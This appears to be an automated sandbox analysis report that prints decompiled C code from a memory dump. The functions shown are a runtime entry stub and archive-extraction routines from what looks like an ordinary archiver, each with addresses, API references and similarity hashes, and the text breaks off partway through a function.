
Strings

\, xrefs: 01235D6D
:$DATA, xrefs: 01235E1D, 01235E2F
:, xrefs: 01235D67

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressDiskErrorFreeH_prologHandleLastModuleProcSpace
String ID: :$:$DATA$\
API String ID: 3991446108-1004618218
Opcode ID: ee01427b49944ac4233b0f4eebb48aa3684ff6e27c8a30b8f0b971b66e941023
Instruction ID: c60f89f31f7eb42ecc8707734b20a9b016dae99136396252e30b52f02782b8fa
Opcode Fuzzy Hash: ee01427b49944ac4233b0f4eebb48aa3684ff6e27c8a30b8f0b971b66e941023
Instruction Fuzzy Hash: 92D113F092030ADFDF21EFA8C884AFDBBB5BFA4314F104119D9596B291DB71564ACB10

Uniqueness

Uniqueness Score: -1.00%

Function 01263DB6 Relevance: 10.6, APIs: 7, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 63%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				int _v32;
				char** _v36;
				int _v40;
				void _v44;
				char** _v48;
				intOrPtr _v52;
				intOrPtr* _t18;
				intOrPtr* _t19;
				void* _t22;
				void _t24;
				int _t31;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t39;
				intOrPtr _t47;

				_push(0xffffffff);
				_push(0x126ce40);
				_push(0x1263db0);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t47;
				_v28 = _t47 - 0x20;
				_v8 = _v8 & 0x00000000;
				__set_app_type(1);
				 *0x1276748 =  *0x1276748 | 0xffffffff;
				 *0x127674c =  *0x127674c | 0xffffffff;
				_t18 = __p__fmode();
				_t35 =  *0x1274730; // 0x0
				 *_t18 = _t35;
				_t19 = __p__commode();
				_t36 =  *0x127472c; // 0x0
				 *_t19 = _t36;
				 *0x1276744 = _adjust_fdiv;
				_t22 = E01263EF9( *_adjust_fdiv);
				_t50 =  *0x1274420;
				if( *0x1274420 == 0) {
					__setusermatherr(E01263EF6);
				}
				E01263EE4(_t22);
				_push(0x1274034);
				_push(0x1274030);
				L01263EDE();
				_t24 =  *0x1274728; // 0x0
				_v44 = _t24;
				__getmainargs( &_v32,  &_v48,  &_v36,  *0x1274724,  &_v44);
				_push(0x127402c);
				_push(0x1274000);
				L01263EDE();
				 *(__p___initenv()) = _v36;
				_push(_v36);
				_push(_v48);
				_push(_v32);
				_t31 = L012612EF(_t50); // executed
				_v40 = _t31;
				exit(_t31); // executed
				_t32 = _v24;
				_t39 =  *((intOrPtr*)( *_t32));
				_v52 = _t39;
				_push(_t32);
				_push(_t39);
				L01263ED8();
				return _t32;
			}

0x01263db9
0x01263dbb
0x01263dc0
0x01263dcb
0x01263dcc
0x01263dd9
0x01263ddc
0x01263de2
0x01263de9
0x01263df0
0x01263df7
0x01263dfd
0x01263e03
0x01263e05
0x01263e0b
0x01263e11
0x01263e1a
0x01263e1f
0x01263e24
0x01263e2b
0x01263e32
0x01263e38
0x01263e39
0x01263e3e
0x01263e43
0x01263e48
0x01263e4d
0x01263e52
0x01263e6b
0x01263e71
0x01263e76
0x01263e7b
0x01263e89
0x01263e8b
0x01263e8e
0x01263e91
0x01263e94
0x01263e9c
0x01263ea0
0x01263ea6
0x01263eab
0x01263ead
0x01263eb0
0x01263eb1
0x01263eb2
0x01263eb9

APIs

__set_app_type.MSVCRT ref: 01263DE2
__p__fmode.MSVCRT ref: 01263DF7
__p__commode.MSVCRT ref: 01263E05
_initterm.MSVCRT ref: 01263E48
__getmainargs.MSVCRT ref: 01263E6B
_initterm.MSVCRT ref: 01263E7B
__p___initenv.MSVCRT ref: 01263E80

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: _initterm$__getmainargs__p___initenv__p__commode__p__fmode__set_app_type
String ID:
API String ID: 4012487245-0
Opcode ID: 6b8cad322a21c00e8f2d25ddc7e04e412f429c33bea86c5951a0798d0f4ee283
Instruction ID: 56b2d0b4031342f13fa78f95d262394fa5e83dddd2a209169792e556ef945fe4
Opcode Fuzzy Hash: 6b8cad322a21c00e8f2d25ddc7e04e412f429c33bea86c5951a0798d0f4ee283
Instruction Fuzzy Hash: F7214771950349EFCB29EFA5FC4DAABBBB8FB09321F004219E515A22E4CB745484CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01263E2D Relevance: 10.5, APIs: 7, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E01263E2D() {
				void* _t13;
				void _t15;
				int _t22;
				intOrPtr* _t23;
				intOrPtr _t27;
				void* _t30;
				void* _t33;

				__setusermatherr(E01263EF6);
				E01263EE4(_t13);
				_push(0x1274034);
				_push(0x1274030);
				L01263EDE();
				_t15 =  *0x1274728; // 0x0
				 *(_t30 - 0x28) = _t15;
				__getmainargs(_t30 - 0x1c, _t30 - 0x2c, _t30 - 0x20,  *0x1274724, _t30 - 0x28);
				_push(0x127402c);
				_push(0x1274000);
				L01263EDE();
				 *(__p___initenv()) =  *(_t30 - 0x20);
				_push( *(_t30 - 0x20));
				_push( *(_t30 - 0x2c));
				_push( *(_t30 - 0x1c));
				_t22 = L012612EF(_t33); // executed
				 *(_t30 - 0x24) = _t22;
				exit(_t22); // executed
				_t23 =  *((intOrPtr*)(_t30 - 0x14));
				_t27 =  *((intOrPtr*)( *_t23));
				 *((intOrPtr*)(_t30 - 0x30)) = _t27;
				_push(_t23);
				_push(_t27);
				L01263ED8();
				return _t23;
			}

0x01263e32
0x01263e39
0x01263e3e
0x01263e43
0x01263e48
0x01263e4d
0x01263e52
0x01263e6b
0x01263e71
0x01263e76
0x01263e7b
0x01263e89
0x01263e8b
0x01263e8e
0x01263e91
0x01263e94
0x01263e9c
0x01263ea0
0x01263ea6
0x01263eab
0x01263ead
0x01263eb0
0x01263eb1
0x01263eb2
0x01263eb9

APIs

__setusermatherr.MSVCRT ref: 01263E32

Part of subcall function 01263EE4: _controlfp.MSVCRT ref: 01263EEE

_initterm.MSVCRT ref: 01263E48
__getmainargs.MSVCRT ref: 01263E6B
_initterm.MSVCRT ref: 01263E7B
__p___initenv.MSVCRT ref: 01263E80
exit.KERNELBASE ref: 01263EA0
_XcptFilter.MSVCRT ref: 01263EB2

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: _initterm$FilterXcpt__getmainargs__p___initenv__setusermatherr_controlfpexit
String ID:
API String ID: 279829931-0
Opcode ID: 1a156e0b4b1775c2fe26a88fb30c64f9d1e23efcdc75b3cb36f8191f0722706f
Instruction ID: d6000874f59ae4aaece158c738916325cf593ab87975d768a1b6fa3e03a13b5c
Opcode Fuzzy Hash: 1a156e0b4b1775c2fe26a88fb30c64f9d1e23efcdc75b3cb36f8191f0722706f
Instruction Fuzzy Hash: DB0197B5950209EF8B19EBE0EC49CEFBBB9FF19211B10405AE505A62A4DB7598408B30

Uniqueness

Uniqueness Score: -1.00%

Function 01248549 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E01248549(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __eflags) {
				intOrPtr _t109;
				signed int _t120;
				void* _t135;
				void* _t141;
				void* _t148;
				signed char _t155;
				void* _t158;
				signed int _t168;
				signed int _t185;
				intOrPtr* _t213;
				signed int _t218;
				signed int _t219;
				signed int _t224;
				void* _t227;

				E012639E0(E0126592B, _t227);
				_push(__ebx);
				E0125801B(_t227 - 0x30);
				_t162 = 0;
				 *(_t227 - 4) = 0;
				E0124711F(_t227 - 0xdc); // executed
				 *((intOrPtr*)(_t227 - 0x44)) =  *((intOrPtr*)(_t227 + 0x18));
				_push(_t227 - 0xdc);
				_push( *((intOrPtr*)(_t227 + 8)));
				 *(_t227 - 4) = 1;
				_t109 = E01247410(__ecx, __edx); // executed
				_t168 = 0xc;
				 *((intOrPtr*)(_t227 + 0x18)) = _t109;
				memcpy( *(_t227 + 0x14), _t227 - 0xa4, _t168 << 2);
				if(_t109 == 0) {
					_t218 = 0;
					__eflags =  *(_t227 - 0xb4);
					if( *(_t227 - 0xb4) > 0) {
						do {
							_t155 =  *( *((intOrPtr*)( *((intOrPtr*)(_t227 - 0xb8)) + _t218 * 4)) + 0x3c) >> 4;
							__eflags = _t155 & 0x00000001;
							if((_t155 & 0x00000001) == 0) {
								_push(E01247072(_t227 - 0xdc, _t227 - 0x24, _t218));
								 *(_t227 - 4) = 2;
								_t158 = E0123150C(_t227 - 0x30);
								 *(_t227 - 4) = 1;
								E01231ABD(_t158,  *(_t227 - 0x24));
							}
							_t218 = _t218 + 1;
							__eflags = _t218 -  *(_t227 - 0xb4);
						} while (_t218 <  *(_t227 - 0xb4));
					}
					 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
					L17();
					__eflags =  *((intOrPtr*)(_t227 - 0x2c)) - _t162;
					if(__eflags == 0) {
						_push(_t162);
						_push( *0x1269754);
						E01248A22(_t227 - 0x24, __eflags);
						_push(0x126ded0);
						_push(_t227 - 0x24);
						L01263CAC();
					}
					E0125801B(_t227 - 0x3c);
					_t219 = 0;
					__eflags =  *((intOrPtr*)(_t227 - 0x2c)) - _t162;
					 *(_t227 - 4) = 3;
					if(__eflags > 0) {
						do {
							E012328E9(_t227 - 0x24);
							 *(_t227 - 4) = 4;
							E0123555E( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t227 - 0x30)) + _t219 * 4)))), _t227 - 0x24);
							_push(_t227 - 0x24);
							_t148 = E0123150C(_t227 - 0x3c);
							 *(_t227 - 4) = 3;
							E01231ABD(_t148,  *(_t227 - 0x24));
							_t219 = _t219 + 1;
							__eflags = _t219 -  *((intOrPtr*)(_t227 - 0x2c));
						} while (__eflags < 0);
					}
					 *(_t227 - 0x18) = _t162;
					 *(_t227 - 0x14) = _t162;
					 *(_t227 - 0x10) = _t162;
					 *(_t227 - 4) = 5;
					E0125411F(_t227 - 0x3c, _t227 - 0x18, __eflags);
					E0124C900( *((intOrPtr*)(_t227 + 0xc)));
					E0123B092( *((intOrPtr*)(_t227 + 0xc)),  *(_t227 - 0x14));
					_t213 =  *((intOrPtr*)(_t227 + 0x10));
					E0124C900(_t213);
					_t116 = E0123B092(_t213,  *(_t227 - 0x14));
					__eflags =  *(_t227 - 0x14);
					if( *(_t227 - 0x14) <= 0) {
						L14:
						E01231ABD(_t116,  *(_t227 - 0x18));
						 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
						E01248B2E(_t162, _t227 - 0x3c);
						 *(_t227 - 4) =  *(_t227 - 4) | 0xffffffff;
						E01248B2E(_t162, _t227 - 0x30);
						_t120 = 0;
						__eflags = 0;
						goto L15;
					} else {
						do {
							_t224 =  *( *(_t227 - 0x18) + _t162 * 4) << 2;
							_push( *((intOrPtr*)(_t224 +  *((intOrPtr*)(_t227 - 0x30)))));
							E01248ABA( *((intOrPtr*)(_t227 + 0xc)));
							_push( *((intOrPtr*)(_t224 +  *((intOrPtr*)(_t227 - 0x3c)))));
							_t116 = E01248ABA(_t213);
							__eflags = _t162;
							if(_t162 <= 0) {
								goto L13;
							} else {
								__eflags = E01233721( *((intOrPtr*)( *((intOrPtr*)( *_t213 + _t162 * 4 - 4)))));
								if(__eflags == 0) {
									_t185 = _t227 - 0x24;
									_push( *((intOrPtr*)( *((intOrPtr*)( *_t213 + _t162 * 4)))));
									_push("Duplicate archive path:");
									E01248A22(_t185, __eflags);
									_push(0x126ded0);
									_push(_t227 - 0x24);
									L01263CAC();
									_t135 = E012639E0(E01265961, _t227);
									_push(_t185);
									_push(_t224);
									_t225 = _t185;
									 *(_t227 - 0x10) = _t185;
									 *(_t227 - 4) = 3;
									E01231ABD(_t135,  *((intOrPtr*)(_t185 + 0x8c)));
									E012471E4(_t225 + 0x68);
									 *(_t227 - 4) = 2;
									E01231ABD(E01231ABD(E01248C1C(_t162, _t225 + 0x24),  *((intOrPtr*)(_t225 + 0x18))),  *((intOrPtr*)(_t225 + 0xc)));
									_t100 = _t227 - 4;
									 *_t100 =  *(_t227 - 4) | 0xffffffff;
									__eflags =  *_t100;
									_t141 = E01248B2E(_t162, _t225);
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t141;
								} else {
									goto L13;
								}
							}
							goto L18;
							L13:
							_t162 = _t162 + 1;
							__eflags = _t162 -  *(_t227 - 0x14);
						} while (_t162 <  *(_t227 - 0x14));
						goto L14;
					}
				} else {
					 *(_t227 - 4) =  *(_t227 - 4) & 0;
					L17();
					 *(_t227 - 4) =  *(_t227 - 4) | 0xffffffff;
					E01248B2E(0, _t227 - 0x30);
					_t120 =  *((intOrPtr*)(_t227 + 0x18));
					L15:
					 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
					return _t120;
				}
				L18:
			}

0x0124854e
0x01248559
0x01248563
0x01248568
0x01248570
0x01248573
0x0124857d
0x01248586
0x01248589
0x0124858c
0x01248590
0x012485a2
0x012485a3
0x012485a6
0x012485a8
0x012485cc
0x012485ce
0x012485d4
0x012485d6
0x012485e2
0x012485e5
0x012485e7
0x012485f9
0x012485fd
0x01248601
0x01248606
0x0124860d
0x01248612
0x01248613
0x01248614
0x01248614
0x012485d6
0x0124861c
0x01248626
0x0124862b
0x0124862e
0x01248630
0x01248634
0x0124863a
0x01248642
0x01248647
0x01248648
0x01248648
0x01248650
0x01248655
0x01248657
0x0124865a
0x0124865e
0x01248660
0x01248663
0x0124866e
0x01248679
0x01248684
0x01248685
0x0124868a
0x01248691
0x01248696
0x01248698
0x01248698
0x01248660
0x0124869d
0x012486a0
0x012486a3
0x012486ac
0x012486b0
0x012486bb
0x012486c4
0x012486c9
0x012486d1
0x012486d9
0x012486de
0x012486e2
0x0124872e
0x01248731
0x01248736
0x0124873e
0x01248743
0x0124874a
0x0124874f
0x0124874f
0x00000000
0x012486e4
0x012486e4
0x012486f2
0x012486f5
0x012486f8
0x01248702
0x01248705
0x0124870a
0x0124870c
0x00000000
0x0124870e
0x01248724
0x01248726
0x01248764
0x0124876a
0x0124876c
0x01248771
0x01248779
0x0124877e
0x0124877f
0x01248789
0x0124878e
0x0124878f
0x01248790
0x01248792
0x0124879b
0x012487a2
0x012487ab
0x012487b3
0x012487c7
0x012487cc
0x012487cc
0x012487cc
0x012487d4
0x012487dd
0x012487e5
0x00000000
0x00000000
0x00000000
0x01248726
0x00000000
0x01248728
0x01248728
0x01248729
0x01248729
0x00000000
0x012486e4
0x012485aa
0x012485aa
0x012485b3
0x012485b8
0x012485bf
0x012485c4
0x01248751
0x01248757
0x0124875f
0x0124875f
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0124854E

Part of subcall function 0124711F: __EH_prolog.LIBCMT ref: 01247124

Part of subcall function 01247410: __EH_prolog.LIBCMT ref: 01247415

_CxxThrowException.MSVCRT(?,0126DED0), ref: 01248648

Part of subcall function 01248784: __EH_prolog.LIBCMT ref: 01248789

Strings

Duplicate archive path:, xrefs: 0124876C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$ExceptionThrow
String ID: Duplicate archive path:
API String ID: 2366012087-4000988232
Opcode ID: 0d88b30b6da818563b72f09ee6e5fc2d920c6192a8be43cb0fdf86e3e02cd9fb
Instruction ID: 63b8032c0ea011664b2744a0d25ebce2d6708ed633490f85657ac2b3444a1b20
Opcode Fuzzy Hash: 0d88b30b6da818563b72f09ee6e5fc2d920c6192a8be43cb0fdf86e3e02cd9fb
Instruction Fuzzy Hash: F4818D35D2015ADFCB19EFE8C980AEDBBB5BF64210F104099E516B7290DB30AE45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01248D6E Relevance: 6.7, APIs: 4, Instructions: 654
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E01248D6E(intOrPtr __ecx, signed int __edx) {
				void* __ebx;
				signed int _t394;
				signed int* _t396;
				signed int _t399;
				intOrPtr* _t400;
				signed int _t401;
				intOrPtr* _t402;
				intOrPtr _t415;
				signed int _t419;
				signed int _t433;
				signed char _t436;
				signed int _t439;
				char* _t444;
				signed int _t448;
				signed int _t456;
				char* _t461;
				signed int _t463;
				signed int _t468;
				char* _t473;
				intOrPtr _t475;
				char* _t476;
				void* _t483;
				signed int _t485;
				signed int _t486;
				signed int _t487;
				signed int _t493;
				intOrPtr* _t501;
				signed int _t505;
				char* _t513;
				void* _t519;
				signed int* _t525;
				char* _t529;
				void* _t540;
				char* _t569;
				intOrPtr _t579;
				signed int _t591;
				unsigned int _t609;
				signed int _t610;
				signed int _t622;
				signed int _t623;
				signed int _t636;
				void* _t639;
				signed int _t644;
				signed int _t646;
				void* _t647;

				_t622 = __edx;
				E012639E0(E01265A78, _t647);
				_t525 =  *(_t647 + 0x2c);
				_t525[0xc] = 0;
				_t525[0xa] = 0;
				_t525[8] = 0;
				_t525[6] = 0;
				_t525[4] = 0;
				_t525[2] = 0;
				 *_t525 = 0;
				 *((intOrPtr*)(_t647 - 0xa4)) = __edx;
				 *((intOrPtr*)(_t647 - 0x3c)) = __ecx;
				_t525[0xd] = 0;
				_t525[0xb] = 0;
				_t525[9] = 0;
				_t525[7] = 0;
				_t525[5] = 0;
				_t525[3] = 0;
				_t525[1] = 0;
				 *(_t647 - 0x24) = 0;
				 *(_t647 - 0x20) = 0;
				 *((intOrPtr*)(_t647 - 0x50)) = 0;
				 *((intOrPtr*)(_t647 - 0x4c)) = 0;
				 *((intOrPtr*)(_t647 - 0x48)) = 0;
				_t394 =  *(_t647 + 0x18);
				 *(_t647 - 4) = 0;
				if( *((char*)(_t394 + 0x24)) == 0) {
					_t394 =  *( *((intOrPtr*)(_t647 + 0xc)) + 4);
					 *(_t647 - 0x14) = _t394;
				} else {
					 *(_t647 - 0x14) = 1;
				}
				_t636 = 0;
				if( *(_t647 - 0x14) <= 0) {
					L8:
					 *(_t647 - 0x1c) = 0;
					if( *(_t647 - 0x14) != 0) {
						 *(_t647 - 0x1c) = E01231A96();
					}
					 *(_t647 - 4) = 2;
					if( *(_t647 - 0x14) > 0) {
						_t609 =  *(_t647 - 0x14);
						_t639 =  *(_t647 - 0x1c);
						_t622 = _t609;
						_t610 = _t609 >> 2;
						memset(_t639 + _t610, memset(_t639, 0, _t610 << 2), (_t622 & 0x00000003) << 0);
					}
					_push(0x1b0);
					_t396 = E01231A96();
					 *(_t647 + 0x2c) = _t396;
					_t664 = _t396;
					 *(_t647 - 4) = 3;
					if(_t396 == 0) {
						goto L18;
					} else {
						_t505 = E0123D8E1(_t396, _t664); // executed
						_t644 = _t505;
						goto L19;
					}
				} else {
					do {
						E01235C60(_t647 - 0x9c);
						E012328E9(_t647 - 0x74);
						_t513 =  *(_t647 + 0x18);
						 *(_t647 - 4) = 1;
						 *((intOrPtr*)(_t647 - 0x9c)) = 0;
						 *((intOrPtr*)(_t647 - 0x98)) = 0;
						_t656 = _t513[0x24];
						if(_t513[0x24] != 0) {
							goto L7;
						}
						_t519 = E01235D00(_t647 - 0x9c, _t656,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t647 + 0xc)))) + _t636 * 4))))); // executed
						if(_t519 == 0) {
							_push(0x126d248);
							_push(_t647 + 0x18);
							 *(_t647 + 0x18) = "there is no such archive";
							L01263CAC();
							L17:
							_push(0x126d248);
							_push(_t647 + 0x18);
							 *(_t647 + 0x18) = "can\'t decompress folder";
							L01263CAC();
							L18:
							_t644 = 0;
							__eflags = 0;
							L19:
							 *(_t647 - 4) = 2;
							 *(_t647 - 0xa8) = _t644;
							if(_t644 != 0) {
								 *((intOrPtr*)( *_t644 + 4))(_t644);
							}
							_t529 =  *(_t647 + 0x18);
							 *(_t647 - 4) = 4;
							_t623 = _t622 & 0xffffff00 |  *(_t647 - 0x14) - 0x00000001 > 0x00000000;
							 *(_t644 + 0x5c) =  *(_t644 + 0x5c) & 0x00000000;
							 *(_t644 + 0x54) = _t529[4];
							 *(_t644 + 0x178) = 0;
							 *(_t644 + 0x170) = 0;
							 *(_t644 + 0x168) = 0;
							 *(_t644 + 0x160) = 0;
							 *(_t644 + 0x158) = 0;
							 *(_t647 + 0x2f) = _t623;
							 *(_t644 + 0x126) = _t623;
							 *(_t644 + 0x58) = _t529[8];
							 *(_t644 + 0x17c) = 0;
							 *(_t644 + 0x174) = 0;
							 *(_t644 + 0x16c) = 0;
							 *(_t644 + 0x164) = 0;
							 *(_t644 + 0x15c) = 0;
							E0124980D(_t644,  *(_t647 + 0x24));
							if( *(_t647 + 0x2f) == 0) {
								L26:
								 *(_t647 - 0x15) =  *(_t647 - 0x15) & 0x00000000;
								_t399 = 0;
								__eflags =  *(_t647 - 0x14);
								 *((intOrPtr*)(_t647 - 0x38)) = 0;
								 *((intOrPtr*)(_t647 - 0x34)) = 0;
								 *(_t647 - 0x28) = 0;
								if( *(_t647 - 0x14) <= 0) {
									L69:
									__eflags =  *(_t647 + 0x2f);
									if( *(_t647 + 0x2f) != 0) {
										L71:
										_t400 =  *((intOrPtr*)(_t647 + 0x20));
										_t401 =  *((intOrPtr*)( *_t400 + 0xc))(_t400,  *(_t647 - 0x24),  *(_t647 - 0x20));
										__eflags = _t401;
										 *(_t647 + 0x18) = _t401;
										if(_t401 == 0) {
											L94:
											_t402 =  *((intOrPtr*)(_t647 + 0x20));
											_t401 =  *((intOrPtr*)( *_t402 + 0x10))(_t402, _t647 - 0x38);
											__eflags = _t401;
											 *(_t647 + 0x18) = _t401;
											if(_t401 == 0) {
												L99:
												__eflags = _t644;
												_t525[8] =  *(_t644 + 0x158);
												_t525[9] =  *(_t644 + 0x15c);
												_t525[0xa] =  *(_t644 + 0x160);
												_t525[0xb] =  *(_t644 + 0x164);
												_t525[0xc] =  *(_t644 + 0x168);
												_t525[0xd] =  *(_t644 + 0x16c);
												_t525[2] =  *(_t644 + 0x170);
												_t525[3] =  *(_t644 + 0x174);
												_t525[4] =  *(_t644 + 0x178);
												_t525[5] =  *(_t644 + 0x17c);
												 *(_t647 - 4) = 2;
												 *_t525 =  *( *((intOrPtr*)(_t647 + 0xc)) + 4);
												_t525[1] = 0;
												_t415 =  *((intOrPtr*)(_t644 + 0x154));
												_t525[6] =  *(_t415 + 0x20);
												_t416 =  *(_t415 + 0x24);
												_t525[7] =  *(_t415 + 0x24);
												if(_t644 != 0) {
													_t416 =  *((intOrPtr*)( *_t644 + 8))(_t644);
												}
												E01231ABD(E01231ABD(_t416,  *(_t647 - 0x1c)),  *((intOrPtr*)(_t647 - 0x50)));
												_t419 = 0;
												__eflags = 0;
												goto L102;
											}
											__eflags = _t644;
											 *(_t647 - 4) = 2;
											if(_t644 != 0) {
												_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
											}
											_t646 =  *(_t647 + 0x18);
											goto L98;
										}
										__eflags = _t644;
										 *(_t647 - 4) = 2;
										if(_t644 != 0) {
											_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
										}
										_t646 =  *(_t647 + 0x18);
										goto L98;
									}
									__eflags =  *(_t647 - 0x15);
									if( *(_t647 - 0x15) == 0) {
										goto L99;
									}
									goto L71;
								} else {
									goto L27;
								}
								do {
									L27:
									_t540 =  *(_t647 - 0x1c);
									__eflags =  *((char*)(_t540 + _t399));
									if( *((char*)(_t540 + _t399)) != 0) {
										goto L68;
									}
									 *((intOrPtr*)(_t647 - 0x30)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t647 + 0xc)))) +  *(_t647 - 0x28) * 4));
									E01235C60(_t647 - 0x9c);
									E012328E9(_t647 - 0x74);
									 *(_t647 - 4) = 5;
									__eflags = ( *(_t647 + 0x18))[0x24];
									if(__eflags == 0) {
										_t433 = E01235D00(_t647 - 0x9c, __eflags,  *((intOrPtr*)( *((intOrPtr*)(_t647 - 0x30))))); // executed
										__eflags = _t433;
										if(_t433 == 0) {
											L93:
											_push(0x126d248);
											_push(_t647 + 0x18);
											 *(_t647 + 0x18) = "there is no such archive";
											L01263CAC();
											goto L94;
										}
										_t436 =  *(_t647 - 0x7c) >> 4;
										__eflags = _t436 & 0x00000001;
										if((_t436 & 0x00000001) != 0) {
											goto L93;
										}
										L32:
										_t439 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t647 + 0x20)))) + 0x24))( *((intOrPtr*)( *((intOrPtr*)(_t647 - 0x30)))), ( *(_t647 + 0x18))[0x27]);
										__eflags = _t439;
										 *(_t647 - 0x10) = _t439;
										if(_t439 != 0) {
											_t401 = E01231ABD(_t439,  *((intOrPtr*)(_t647 - 0x74)));
											__eflags = _t644;
											 *(_t647 - 4) = 2;
											if(_t644 != 0) {
												_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
											}
											_t646 =  *(_t647 - 0x10);
											goto L98;
										}
										E012496F4(_t647 - 0x108);
										_push( *((intOrPtr*)(_t647 - 0xa4)));
										 *(_t647 - 4) = 6;
										E01249D84(_t647 - 0x5c);
										 *(_t647 - 4) = 7;
										E01249660(_t647 - 0x160);
										_t444 =  *(_t647 + 0x18);
										 *(_t647 - 4) = 8;
										 *((intOrPtr*)(_t647 - 0x130)) = 0;
										 *(_t647 - 0x120) =  &(_t444[0x28]);
										 *((intOrPtr*)(_t647 - 0x160)) =  *((intOrPtr*)(_t647 - 0x3c));
										 *((intOrPtr*)(_t647 - 0x138)) = _t647 - 0x5c;
										 *((intOrPtr*)(_t647 - 0x134)) =  *((intOrPtr*)(_t647 + 8));
										 *((char*)(_t647 - 0x11c)) = _t444[0x24];
										E01232A8C(_t647 - 0x118,  *((intOrPtr*)(_t647 - 0x30)));
										_t448 = L01252C25(_t647 - 0x108, __eflags, _t647 - 0x160,  *((intOrPtr*)(_t647 + 0x1c)));
										__eflags = _t448;
										 *(_t647 - 0x10) = _t448;
										if(_t448 != 0) {
											L36:
											__eflags =  *(_t647 - 0x10) - 0x80004004;
											if( *(_t647 - 0x10) == 0x80004004) {
												E01231ABD(_t448,  *((intOrPtr*)(_t647 - 0x118)));
												 *(_t647 - 4) = 6;
												E01249E21(_t647 - 0x5c);
												 *(_t647 - 4) = 5;
												_t401 = E01231ABD(E012497A0(_t525, _t647 - 0x108),  *((intOrPtr*)(_t647 - 0x74)));
												__eflags = _t644;
												 *(_t647 - 4) = 2;
												if(_t644 != 0) {
													_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
												}
												_t646 = 0x80004004;
												goto L98;
											}
											L37:
											_t456 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t647 + 0x20)))) + 0x28))( *((intOrPtr*)(_t647 - 0x3c)), _t647 - 0x108,  *((intOrPtr*)( *((intOrPtr*)(_t647 - 0x30)))),  *(_t647 - 0x10));
											__eflags = _t456;
											 *(_t647 - 0x2c) = _t456;
											if(_t456 != 0) {
												E01231ABD(_t456,  *((intOrPtr*)(_t647 - 0x118)));
												 *(_t647 - 4) = 6;
												E01249E21(_t647 - 0x5c);
												 *(_t647 - 4) = 5;
												_t401 = E01231ABD(E012497A0(_t525, _t647 - 0x108),  *((intOrPtr*)(_t647 - 0x74)));
												__eflags = _t644;
												 *(_t647 - 4) = 2;
												if(_t644 != 0) {
													_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
												}
												_t646 =  *(_t647 - 0x2c);
												goto L98;
											}
											__eflags =  *(_t647 - 0x10);
											if( *(_t647 - 0x10) == 0) {
												_t461 =  *(_t647 + 0x18);
												__eflags = _t461[0x24];
												if(_t461[0x24] != 0) {
													L58:
													_t463 =  *( *((intOrPtr*)(_t647 - 0x108)) +  *(_t647 - 0x104) * 4 - 4);
													_t569 =  *(_t647 + 0x18);
													__eflags = _t569[0x24];
													if(_t569[0x24] != 0) {
														L61:
														__eflags = 0;
														L62:
														__eflags =  *(_t647 + 0x24);
														 *((char*)(_t463 + 0xa4)) = 0;
